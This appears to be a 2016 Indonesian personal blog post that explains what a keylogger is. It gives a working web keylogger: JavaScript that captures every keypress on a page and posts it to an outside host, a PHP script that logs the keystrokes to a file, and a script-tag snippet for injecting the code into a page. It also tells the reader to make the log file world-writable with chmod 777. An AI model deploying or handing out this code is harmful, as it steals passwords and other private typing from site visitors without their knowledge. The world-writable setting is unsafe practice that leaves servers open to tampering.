RandomBlogger

Friday, 21 October 2016

Pengertian Keystroke Logger(Keylogger) | Penjelasan

 Server Security


Keystroke Logger(KeyLogger)

Keystroke Logger atau sering disebut Keylogger, adalah program perangkat lunak(Software) yang diinstall pada komputer, biasanya bersama-sama dengan Trojan Horse atau virus. Keylogger menangkap dan merekam setiap keystroke / tombol yang ditekan oleh user pada keyboard. Kemudian data yang direcoed akan dikirim ke komputer remote.

Ada cukup banyak situs yang memberikan tutorial tentang pembuatan keylogger ataupun menyediakan freeware keylogger. Dalam kesempatan ini, saya akan memberikan contoh keylogger sederhana dengan program PHP dan Javascript, agar pembaca sekalian memahami tentang Keylogger.

Yang pertama adalah program PHP-nya (keylogger.php)
<?php
$key=$_POST[ 'key' ];
$logfile="keylog.txt";
$fp = fopen($logfile, "a");
fwrite ($fp, $key);
fclose ($fp);
?>

Dan ini adalah Javascriptnya (keylogger.js)
document.onkeypress = function(evt) {
   evt = evt || windows.event
   key = String.fromCharCode(evt.charCode)
   if (key) {
      var http = new XMLHttpRequest();
      var param = encodeURI(key)
      http.open("POST", "http://mysites.com/keylogger.php", true);
      http.setRequsetHeader("Content-type", "application/x-www-form-urlencoded");
      http.send("key="+param);
    }
}

Untuk memasang keylogger dalam sebuah halaman, kita perlu memanggilnya:
<script src="http://mysites.com/keylooger.js"></script>

cara kerjanya sebenarnya sangat mudah. Saat sebuah  halaman situs dipanggil, ada sebuah event OnKeyPress yang dideklarasi dalam Javascript akan menjalankan AJAX untuk memanggil file keylogger.php dengan mengirimkan key/tombol yang ditekan oleh user.

Oleh PHP, key/tombol yang ditekan user tersebut akan langsung direkam ke dalam sebuah file yang namanya keylog.txt. Jangan lupa untuk meng-CHMOD777 untuk file keylog.txt ini agar dengan mudah ditimpa (overwrite) apabila terjadi rekaman file baru.



Terimakasih sudah mau berkunjung dan membaca blog saya semoga bermanfaat :D
Bye Bye :D :D :D :D

8 comments: